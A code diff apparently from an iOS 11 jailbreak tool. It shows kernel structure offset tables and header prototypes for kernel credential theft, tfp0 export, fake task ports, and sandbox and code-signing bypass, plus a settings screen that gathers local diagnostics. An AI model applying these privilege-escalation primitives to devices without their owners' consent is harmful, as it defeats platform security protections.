||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int kstruct_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x7c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset)
|
||||
{
|
||||
if (offsets == NULL) {
|
||||
LOG("need to call offsets_init() prior to querying offsets");
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
|
||||
void offsets_init()
|
||||
{
|
||||
if (kCFCoreFoundationVersionNumber >= 1452.23) {
|
||||
LOG("offsets selected for iOS 11.3 or above");
|
||||
offsets = kstruct_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
||||
LOG("offsets selected for iOS 11.0 to 11.2.6");
|
||||
offsets = kstruct_offsets_11_0;
|
||||
} else {
|
||||
LOG("iOS version too low, 11.0 required");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
+66
-1837
File diff suppressed because it is too large
Load Diff
@@ -3,165 +3,44 @@
|
||||
|
||||
#include <common.h>
|
||||
#include <mach/mach.h>
|
||||
#include <offsetcache.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#if 0
|
||||
Credits:
|
||||
- https://stek29.rocks/2018/01/26/sandbox.html
|
||||
- https://stek29.rocks/2018/12/11/shenanigans.html
|
||||
- http://newosxbook.com/QiLin/qilin.pdf
|
||||
- https://github.com/Siguza/v0rtex/blob/e6d54c97715d6dbcdda8b9a8090484a7a47019d0/src/v0rtex.m#L1623
|
||||
#endif
|
||||
#define SETOFFSET(offset, val) (offs.offset = val)
|
||||
#define GETOFFSET(offset) offs.offset
|
||||
|
||||
#if 0
|
||||
TODO:
|
||||
- Patchfind proc_lock (High priority)
|
||||
- Patchfind proc_unlock (High priority)
|
||||
- Patchfind proc_ucred_lock (High priority)
|
||||
- Patchfind proc_ucred_unlock (High priority)
|
||||
- Patchfind vnode_lock (Low priority)
|
||||
- Patchfind vnode_unlock (Low priority)
|
||||
- Patchfind mount_lock (Low priority)
|
||||
- Patchfind mount_unlock (Low priority)
|
||||
- Patchfind task_set_platform_binary (High priority)
|
||||
- Patchfind kauth_cred_ref (Low priority)
|
||||
- Patchfind kauth_cred_unref (Low priority)
|
||||
- Patchfind chgproccnt (Low priority)
|
||||
- Patchfind kauth_cred_ref (Low priority)
|
||||
- Patchfind kauth_cred_unref (Low priority)
|
||||
- Patchfind extension_destroy (Low priority)
|
||||
- Patchfind extension_create_mach (Middle priority)
|
||||
- Use offsetof with XNU headers to find structure offsets (Low priority)
|
||||
- Update Unrestrict to implement the kernel calls
|
||||
#endif
|
||||
typedef struct {
|
||||
kptr_t trustcache;
|
||||
kptr_t OSBoolean_True;
|
||||
kptr_t osunserializexml;
|
||||
kptr_t smalloc;
|
||||
kptr_t add_x0_x0_0x40_ret;
|
||||
kptr_t zone_map_ref;
|
||||
kptr_t vfs_context_current;
|
||||
kptr_t vnode_lookup;
|
||||
kptr_t vnode_put;
|
||||
kptr_t kernel_task;
|
||||
kptr_t shenanigans;
|
||||
kptr_t lck_mtx_lock;
|
||||
kptr_t lck_mtx_unlock;
|
||||
} offsets_t;
|
||||
|
||||
#define setoffset(offset, val) set_offset(#offset, val)
|
||||
#define getoffset(offset) get_offset(#offset)
|
||||
|
||||
#define OSBoolTrue getOSBool(true)
|
||||
#define OSBoolFalse getOSBool(false)
|
||||
|
||||
extern kptr_t kernel_base;
|
||||
extern offsets_t offs;
|
||||
extern uint64_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
extern kptr_t cached_task_self_addr;
|
||||
extern BOOL found_offsets;
|
||||
uint64_t task_self_addr(void);
|
||||
uint64_t ipc_space_kernel(void);
|
||||
uint64_t find_kernel_base(void);
|
||||
|
||||
kptr_t task_self_addr(void);
|
||||
kptr_t ipc_space_kernel(void);
|
||||
kptr_t find_kernel_base(void);
|
||||
|
||||
kptr_t current_thread(void);
|
||||
uint64_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
kptr_t get_kernel_proc_struct_addr(void);
|
||||
BOOL iterate_proc_list(void (^handler)(kptr_t, pid_t, BOOL *));
|
||||
kptr_t get_proc_struct_for_pid(pid_t pid);
|
||||
kptr_t get_address_of_port(pid_t pid, mach_port_t port);
|
||||
kptr_t get_kernel_cred_addr(void);
|
||||
kptr_t give_creds_to_process_at_addr(kptr_t proc, kptr_t cred_addr);
|
||||
BOOL set_platform_binary(kptr_t proc, BOOL set);
|
||||
|
||||
kptr_t zm_fix_addr(kptr_t addr);
|
||||
|
||||
BOOL verify_tfp0(void);
|
||||
|
||||
extern int (*pmap_load_trust_cache)(kptr_t kernel_trust, size_t length);
|
||||
int _pmap_load_trust_cache(kptr_t kernel_trust, size_t length);
|
||||
|
||||
BOOL set_host_type(host_t host, uint32_t type);
|
||||
BOOL export_tfp0(host_t host);
|
||||
BOOL unexport_tfp0(host_t host);
|
||||
|
||||
BOOL set_csflags(kptr_t proc, uint32_t flags, BOOL value);
|
||||
BOOL set_cs_platform_binary(kptr_t proc, BOOL value);
|
||||
|
||||
BOOL execute_with_credentials(kptr_t proc, kptr_t credentials, void (^function)(void));
|
||||
|
||||
uint32_t get_proc_memstat_state(kptr_t proc);
|
||||
BOOL set_proc_memstat_state(kptr_t proc, uint32_t memstat_state);
|
||||
BOOL set_proc_memstat_internal(kptr_t proc, BOOL set);
|
||||
BOOL get_proc_memstat_internal(kptr_t proc);
|
||||
size_t kstrlen(kptr_t ptr);
|
||||
kptr_t kstralloc(const char *str);
|
||||
BOOL kstrfree(kptr_t ptr);
|
||||
kptr_t sstrdup(const char *str);
|
||||
void sfree(kptr_t ptr);
|
||||
int extension_create_file(kptr_t saveto, kptr_t sb, const char *path, size_t path_len, uint32_t subtype);
|
||||
int extension_create_mach(kptr_t saveto, kptr_t sb, const char *name, uint32_t subtype);
|
||||
int extension_add(kptr_t ext, kptr_t sb, const char *desc);
|
||||
void extension_release(kptr_t ext);
|
||||
void extension_destroy(kptr_t ext);
|
||||
BOOL set_file_extension(kptr_t sandbox, const char *exc_key, const char *path);
|
||||
BOOL set_mach_extension(kptr_t sandbox, const char *exc_key, const char *name);
|
||||
kptr_t proc_find(pid_t pid);
|
||||
void proc_rele(kptr_t proc);
|
||||
void proc_lock(kptr_t proc);
|
||||
void proc_unlock(kptr_t proc);
|
||||
void proc_ucred_lock(kptr_t proc);
|
||||
void proc_ucred_unlock(kptr_t proc);
|
||||
void vnode_lock(kptr_t vp);
|
||||
void vnode_unlock(kptr_t vp);
|
||||
void mount_lock(kptr_t mp);
|
||||
void mount_unlock(kptr_t mp);
|
||||
void task_set_platform_binary(kptr_t task, boolean_t is_platform);
|
||||
void kauth_cred_ref(kptr_t cred);
|
||||
void kauth_cred_unref(kptr_t cred);
|
||||
int chgproccnt(uid_t uid, int diff);
|
||||
kptr_t vfs_context_current(void);
|
||||
int vnode_lookup(const char *path, int flags, kptr_t *vpp, kptr_t ctx);
|
||||
int vnode_put(kptr_t vp);
|
||||
BOOL OSDictionary_SetItem(kptr_t OSDictionary, const char *key, kptr_t val);
|
||||
kptr_t OSDictionary_GetItem(kptr_t OSDictionary, const char *key);
|
||||
BOOL OSDictionary_Merge(kptr_t OSDictionary, kptr_t OSDictionary2);
|
||||
uint32_t OSDictionary_ItemCount(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemBuffer(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemKey(kptr_t buffer, uint32_t idx);
|
||||
kptr_t OSDictionary_ItemValue(kptr_t buffer, uint32_t idx);
|
||||
uint32_t OSArray_ItemCount(kptr_t OSArray);
|
||||
BOOL OSArray_Merge(kptr_t OSArray, kptr_t OSArray2);
|
||||
kptr_t OSArray_GetObject(kptr_t OSArray, uint32_t idx);
|
||||
void OSArray_RemoveObject(kptr_t OSArray, uint32_t idx);
|
||||
kptr_t OSArray_ItemBuffer(kptr_t OSArray);
|
||||
kptr_t OSObjectFunc(kptr_t OSObject, uint32_t off);
|
||||
void OSObject_Release(kptr_t OSObject);
|
||||
void OSObject_Retain(kptr_t OSObject);
|
||||
uint32_t OSObject_GetRetainCount(kptr_t OSObject);
|
||||
uint32_t OSString_GetLength(kptr_t OSString);
|
||||
kptr_t OSString_CStringPtr(kptr_t OSString);
|
||||
char *OSString_CopyString(kptr_t OSString);
|
||||
kptr_t OSUnserializeXML(const char *buffer);
|
||||
kptr_t get_exception_osarray(const char **exceptions);
|
||||
char **copy_amfi_entitlements(kptr_t present);
|
||||
kptr_t getOSBool(BOOL value);
|
||||
BOOL entitle_process(kptr_t amfi_entitlements, const char *key, kptr_t val);
|
||||
BOOL set_sandbox_exceptions(kptr_t sandbox, const char **exceptions);
|
||||
BOOL check_for_exception(char **current_exceptions, const char *exception);
|
||||
BOOL set_amfi_exceptions(kptr_t amfi_entitlements, const char **exceptions);
|
||||
BOOL set_exceptions(kptr_t sandbox, kptr_t amfi_entitlements);
|
||||
kptr_t get_amfi_entitlements(kptr_t cr_label);
|
||||
kptr_t get_sandbox(kptr_t cr_label);
|
||||
BOOL entitle_process_with_pid(pid_t pid, const char *key, kptr_t val);
|
||||
BOOL remove_memory_limit(void);
|
||||
BOOL restore_kernel_task_port(task_t *out_kernel_task_port);
|
||||
BOOL restore_kernel_base(uint64_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
BOOL restore_kernel_offset_cache(void);
|
||||
BOOL restore_file_offset_cache(const char *offset_cache_file_path, kptr_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
BOOL convert_port_to_task_port(mach_port_t port, kptr_t space, kptr_t task_kaddr);
|
||||
kptr_t make_fake_task(kptr_t vm_map);
|
||||
BOOL make_port_fake_task_port(mach_port_t port, kptr_t task_kaddr);
|
||||
BOOL set_hsp4(task_t port);
|
||||
kptr_t get_vnode_for_path(const char *path);
|
||||
kptr_t get_vnode_for_snapshot(int fd, char *name);
|
||||
BOOL set_kernel_task_info(void);
|
||||
int issue_extension_for_mach_service(kptr_t sb, kptr_t ctx, const char *entry_name, void *desc);
|
||||
BOOL unrestrict_process(pid_t pid);
|
||||
BOOL unrestrict_process_with_task_port(task_t task_port);
|
||||
BOOL revalidate_process(pid_t pid);
|
||||
BOOL revalidate_process_with_task_port(task_t task_port);
|
||||
uint64_t get_proc_struct_for_pid(pid_t pid);
|
||||
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
|
||||
uint64_t get_kernel_cred_addr(void);
|
||||
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
|
||||
void set_platform_binary(uint64_t proc);
|
||||
|
||||
#endif /* kutils_h */
|
||||
|
||||
@@ -10,6 +10,25 @@
|
||||
#import "common.h"
|
||||
#import "utils.h"
|
||||
|
||||
#define K_TWEAK_INJECTION @"TweakInjection"
|
||||
#define K_LOAD_DAEMONS @"LoadDaemons"
|
||||
#define K_DUMP_APTICKET @"DumpAPTicket"
|
||||
#define K_REFRESH_ICON_CACHE @"RefreshIconCache"
|
||||
#define K_BOOT_NONCE @"BootNonce"
|
||||
#define K_EXPLOIT @"Exploit"
|
||||
#define K_DISABLE_AUTO_UPDATES @"DisableAutoUpdates"
|
||||
#define K_DISABLE_APP_REVOKES @"DisableAppRevokes"
|
||||
#define K_OVERWRITE_BOOT_NONCE @"OverwriteBootNonce"
|
||||
#define K_EXPORT_KERNEL_TASK_PORT @"ExportKernelTaskPort"
|
||||
#define K_RESTORE_ROOTFS @"RestoreRootFS"
|
||||
#define K_INCREASE_MEMORY_LIMIT @"IncreaseMemoryLimit"
|
||||
#define K_ECID @"Ecid"
|
||||
#define K_INSTALL_OPENSSH @"InstallOpenSSH"
|
||||
#define K_INSTALL_CYDIA @"InstallCydia"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS @"ReloadSystemDaemons"
|
||||
#define K_HIDE_LOG_WINDOW @"HideLogWindow"
|
||||
#define K_RESET_CYDIA_CACHE @"ResetCydiaCache"
|
||||
|
||||
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *LoadDaemonsSwitch;
|
||||
@@ -36,11 +55,8 @@
|
||||
@property (weak, nonatomic) IBOutlet UIButton *RestartSpringBoardButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *HideLogWindowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ResetCydiaCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *SSHOnlySwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *EnableGetTaskAllowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *SetCSDebuggedSwitch;
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path;
|
||||
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path;
|
||||
|
||||
@end
|
||||
|
||||
|
||||
@@ -14,11 +14,6 @@
|
||||
#include "remote_call.h"
|
||||
#include "JailbreakViewController.h"
|
||||
#include "utils.h"
|
||||
#include "voucher_swap-poc.h"
|
||||
#include "necp.h"
|
||||
#include "kalloc_crash.h"
|
||||
#include "prefs.h"
|
||||
#include "diagnostics.h"
|
||||
|
||||
@interface SettingsTableViewController ()
|
||||
|
||||
@@ -28,28 +23,185 @@
|
||||
|
||||
// https://github.com/Matchstic/ReProvision/blob/7b595c699335940f68702bb204c5aa55b8b1896f/Shared/Application%20Database/RPVApplication.m#L102
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path {
|
||||
auto stringContent = [NSString stringWithContentsOfFile:path encoding:NSASCIIStringEncoding error:nil];
|
||||
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path {
|
||||
NSError *err;
|
||||
NSString *stringContent = [NSString stringWithContentsOfFile:path encoding:NSASCIIStringEncoding error:&err];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"<plist version=\"1.0\">"][1];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", @"<plist version=\"1.0\">", stringContent];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"</plist>"][0];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", stringContent, @"</plist>"];
|
||||
auto const stringData = [stringContent dataUsingEncoding:NSASCIIStringEncoding];
|
||||
id const plist = [NSPropertyListSerialization propertyListWithData:stringData options:NSPropertyListImmutable format:nil error:nil];
|
||||
|
||||
NSData *stringData = [stringContent dataUsingEncoding:NSASCIIStringEncoding];
|
||||
|
||||
NSError *error;
|
||||
NSPropertyListFormat format;
|
||||
|
||||
id plist = [NSPropertyListSerialization propertyListWithData:stringData options:NSPropertyListImmutable format:&format error:&error];
|
||||
|
||||
return plist;
|
||||
}
|
||||
|
||||
- (void)viewWillAppear:(BOOL)animated {
|
||||
[super viewWillAppear:animated];
|
||||
[self reloadData];
|
||||
#define STATUS_FILE @"/var/lib/dpkg/status"
|
||||
#define CYDIA_LIST @"/etc/apt/sources.list.d/cydia.list"
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1138
|
||||
|
||||
+ (NSArray *)dependencyArrayFromString:(NSString *)depends
|
||||
{
|
||||
NSMutableArray *cleanArray = [[NSMutableArray alloc] init];
|
||||
NSArray *dependsArray = [depends componentsSeparatedByString:@","];
|
||||
for (id depend in dependsArray)
|
||||
{
|
||||
NSArray *spaceDelimitedArray = [depend componentsSeparatedByString:@" "];
|
||||
NSString *isolatedDependency = [[spaceDelimitedArray objectAtIndex:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
if ([isolatedDependency length] == 0)
|
||||
isolatedDependency = [[spaceDelimitedArray objectAtIndex:1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
|
||||
[cleanArray addObject:isolatedDependency];
|
||||
}
|
||||
|
||||
return cleanArray;
|
||||
}
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1163
|
||||
|
||||
+ (NSArray *)parsedPackageArray
|
||||
{
|
||||
NSString *packageString = [NSString stringWithContentsOfFile:STATUS_FILE encoding:NSUTF8StringEncoding error:nil];
|
||||
NSArray *lineArray = [packageString componentsSeparatedByString:@"\n\n"];
|
||||
//NSLog(@"lineArray: %@", lineArray);
|
||||
NSMutableArray *mutableList = [[NSMutableArray alloc] init];
|
||||
//NSMutableDictionary *mutableDict = [[NSMutableDictionary alloc] init];
|
||||
for (id currentItem in lineArray)
|
||||
{
|
||||
NSArray *packageArray = [currentItem componentsSeparatedByString:@"\n"];
|
||||
// NSLog(@"packageArray: %@", packageArray);
|
||||
NSMutableDictionary *currentPackage = [[NSMutableDictionary alloc] init];
|
||||
for (id currentLine in packageArray)
|
||||
{
|
||||
NSArray *itemArray = [currentLine componentsSeparatedByString:@": "];
|
||||
if ([itemArray count] >= 2)
|
||||
{
|
||||
NSString *key = [itemArray objectAtIndex:0];
|
||||
NSString *object = [itemArray objectAtIndex:1];
|
||||
|
||||
if ([key isEqualToString:@"Depends"]) //process the array
|
||||
{
|
||||
NSArray *dependsObject = [SettingsTableViewController dependencyArrayFromString:object];
|
||||
|
||||
[currentPackage setObject:dependsObject forKey:key];
|
||||
|
||||
} else { //every other key, even if it has an array is treated as a string
|
||||
|
||||
[currentPackage setObject:object forKey:key];
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//NSLog(@"currentPackage: %@\n\n", currentPackage);
|
||||
if ([[currentPackage allKeys] count] > 4)
|
||||
{
|
||||
//[mutableDict setObject:currentPackage forKey:[currentPackage objectForKey:@"Package"]];
|
||||
[mutableList addObject:currentPackage];
|
||||
}
|
||||
|
||||
currentPackage = nil;
|
||||
|
||||
}
|
||||
|
||||
NSSortDescriptor *nameDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Name" ascending:YES
|
||||
selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSSortDescriptor *packageDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Package" ascending:YES
|
||||
selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSArray *descriptors = [NSArray arrayWithObjects:nameDescriptor, packageDescriptor, nil];
|
||||
NSArray *sortedArray = [mutableList sortedArrayUsingDescriptors:descriptors];
|
||||
|
||||
mutableList = nil;
|
||||
|
||||
return sortedArray;
|
||||
}
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L854
|
||||
|
||||
+ (NSString *)domainFromRepoObject:(NSString *)repoObject
|
||||
{
|
||||
//LogSelf;
|
||||
if ([repoObject length] == 0)return nil;
|
||||
NSArray *sourceObjectArray = [repoObject componentsSeparatedByString:@" "];
|
||||
NSString *url = [sourceObjectArray objectAtIndex:1];
|
||||
if ([url length] > 7)
|
||||
{
|
||||
NSString *urlClean = [url substringFromIndex:7];
|
||||
NSArray *secondArray = [urlClean componentsSeparatedByString:@"/"];
|
||||
return [secondArray objectAtIndex:0];
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
// https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L869
|
||||
|
||||
+ (NSArray *)sourcesFromFile:(NSString *)theSourceFile
|
||||
{
|
||||
NSMutableArray *finalArray = [[NSMutableArray alloc] init];
|
||||
NSString *sourceString = [[NSString stringWithContentsOfFile:theSourceFile encoding:NSASCIIStringEncoding error:nil] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
NSArray *sourceFullArray = [sourceString componentsSeparatedByString:@"\n"];
|
||||
NSEnumerator *sourceEnum = [sourceFullArray objectEnumerator];
|
||||
id currentSource = nil;
|
||||
while (currentSource = [sourceEnum nextObject])
|
||||
{
|
||||
NSString *theObject = [SettingsTableViewController domainFromRepoObject:currentSource];
|
||||
if (theObject != nil)
|
||||
{
|
||||
if (![finalArray containsObject:theObject])
|
||||
[finalArray addObject:theObject];
|
||||
}
|
||||
}
|
||||
|
||||
return finalArray;
|
||||
}
|
||||
|
||||
+ (NSDictionary *)getDiagnostics {
|
||||
struct utsname u = { 0 };
|
||||
NSMutableDictionary *md = nil;
|
||||
uname(&u);
|
||||
md = [NSMutableDictionary new];
|
||||
md[@"Sysname"] = [NSString stringWithUTF8String:u.sysname];
|
||||
md[@"Nodename"] = [NSString stringWithUTF8String:u.nodename];
|
||||
md[@"Release"] = [NSString stringWithUTF8String:u.release];
|
||||
md[@"Version"] = [NSString stringWithUTF8String:u.version];
|
||||
md[@"Machine"] = [NSString stringWithUTF8String:u.machine];
|
||||
md[@"ProductVersion"] = [NSMutableDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductVersion"];
|
||||
md[@"ProductBuildVersion"] = [NSMutableDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductBuildVersion"];
|
||||
md[@"Sources"] = [SettingsTableViewController sourcesFromFile:CYDIA_LIST];
|
||||
md[@"Packages"] = [SettingsTableViewController parsedPackageArray];
|
||||
md[@"Preferences"] = [NSMutableDictionary new];
|
||||
md[@"Preferences"][@"TweakInjection"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION];
|
||||
md[@"Preferences"][@"LoadDaemons"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS];
|
||||
md[@"Preferences"][@"DumpAPTicket"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET];
|
||||
md[@"Preferences"][@"RefreshIconCache"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_REFRESH_ICON_CACHE];
|
||||
md[@"Preferences"][@"BootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE];
|
||||
md[@"Preferences"][@"Exploit"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT];
|
||||
md[@"Preferences"][@"DisableAutoUpdates"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_AUTO_UPDATES];
|
||||
md[@"Preferences"][@"DisableAppRevokes"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_APP_REVOKES];
|
||||
md[@"Preferences"][@"OverwriteBootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_OVERWRITE_BOOT_NONCE];
|
||||
md[@"Preferences"][@"ExportKernelTaskPort"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
md[@"Preferences"][@"RestoreRootFS"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_RESTORE_ROOTFS];
|
||||
md[@"Preferences"][@"IncreaseMemoryLimit"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT];
|
||||
md[@"Preferences"][@"InstallCydia"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA];
|
||||
md[@"Preferences"][@"InstallOpenSSH"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH];
|
||||
md[@"AppVersion"] = appVersion();
|
||||
md[@"LogFile"] = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:getLogFile()] encoding:NSUTF8StringEncoding error:nil];
|
||||
return md;
|
||||
}
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
auto const myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
UIImageView *myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
[myImageView setContentMode:UIViewContentModeScaleAspectFill];
|
||||
[myImageView setFrame:self.tableView.frame];
|
||||
auto const myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
UIView *myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
[myView setBackgroundColor:[UIColor whiteColor]];
|
||||
[myView setAlpha:0.84];
|
||||
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
@@ -59,6 +211,7 @@
|
||||
self.tap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(userTappedAnyware:)];
|
||||
self.tap.cancelsTouchesInView = NO;
|
||||
[self.view addGestureRecognizer:self.tap];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)userTappedAnyware:(UITapGestureRecognizer *) sender
|
||||
@@ -72,78 +225,60 @@
|
||||
}
|
||||
|
||||
- (void)reloadData {
|
||||
auto prefs = copy_prefs();
|
||||
[self.TweakInjectionSwitch setOn:(BOOL)prefs->load_tweaks];
|
||||
[self.LoadDaemonsSwitch setOn:(BOOL)prefs->load_daemons];
|
||||
[self.DumpAPTicketSwitch setOn:(BOOL)prefs->dump_apticket];
|
||||
[self.BootNonceTextField setPlaceholder:@(prefs->boot_nonce)];
|
||||
[self.TweakInjectionSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_TWEAK_INJECTION]];
|
||||
[self.LoadDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_LOAD_DAEMONS]];
|
||||
